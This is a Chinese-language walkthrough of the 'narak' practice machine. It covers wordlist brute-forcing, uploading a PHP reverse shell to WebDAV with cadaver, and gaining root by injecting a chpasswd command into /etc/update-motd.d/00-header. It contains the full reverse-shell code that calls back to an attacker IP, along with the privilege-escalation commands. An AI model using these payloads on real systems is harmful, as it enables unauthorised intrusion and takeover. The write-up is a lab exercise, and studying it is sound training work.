全球网站建设服务商/软文写作经验
narak靶机复盘
首先对靶机进行扫描，找到靶机的真实ip地址。
然后dirb进行目录扫描，扫描到一个目录，我们打开发现是一个登陆界面。
并没有用户名和密码，我们就用cewl扫描这个网站，扫出一个字典，用来暴力破解。
cewl http://192.168.197.170 -w passwd1.txt
经过暴力破解发现了一个用户名和密码
login: yamdoot password: Swarg
成功登陆webdav这个页面，在网上搜索了一下webdav，发现是一个客户端，发现有专门针对这个客户端上传文件的工具，所以我们就利用cadaver上传一个php木马文件。
Cadaver 是一个命令行 WebDAV 客户端工具，可以用来管理 WebDAV 服务器上的文件和目录。
创建一个shell.php在当前目录下，然后使用cadaver登陆webdav，使用put shell.php命令就能把我们的木马上传。
<?php
$ip='192.168.197.160';
$port='8888';
$sock = fsockopen($ip,$port);
$descriptorspec = array(0 => $sock, 1 => $sock, 2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>
原本登陆后是没有shell.php，现在我们上传后执行一个反弹shell，用kali来监听就可以返回一个命令行。
用python3美化一下命令行。
经过寻找发现在/mnt目录下有一个hell.sh文件，打开后发现有一串brainfuck加密文本，经过解密发现明文是chitragupt
发现home下面有三个用户，就尝试用这个密码来登陆一下，发现刚好是inferno用户的密码，因为原本是web shell权限很低，现在拿到了真正的shell。
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null#命令解释：
从根目录下开始查找 文件类型 属主是root 普通用户或组可执行 其他用户可写 如果发现了符合条件的用 ls -l命令显示 错误信息从定向到null
motd是负责ssh登录后，页面欢迎语 提示语的，用户可以通过配置文件自定义欢迎提示信息。具体配置文件理论上这个目录下的任意文件都可以。通常修改00-header文件即可。
/etc/update-motd.d/00-header
echo “echo ‘root:admin’|sudo chpasswd”>>/etc/update-motd.d/00-header
虽说理论上修改这个文件夹的所有文件都可以，但是经过尝试了一个别的文件，并不能成功修改root密码，只有00-header在ssh连接时候会执行成功。
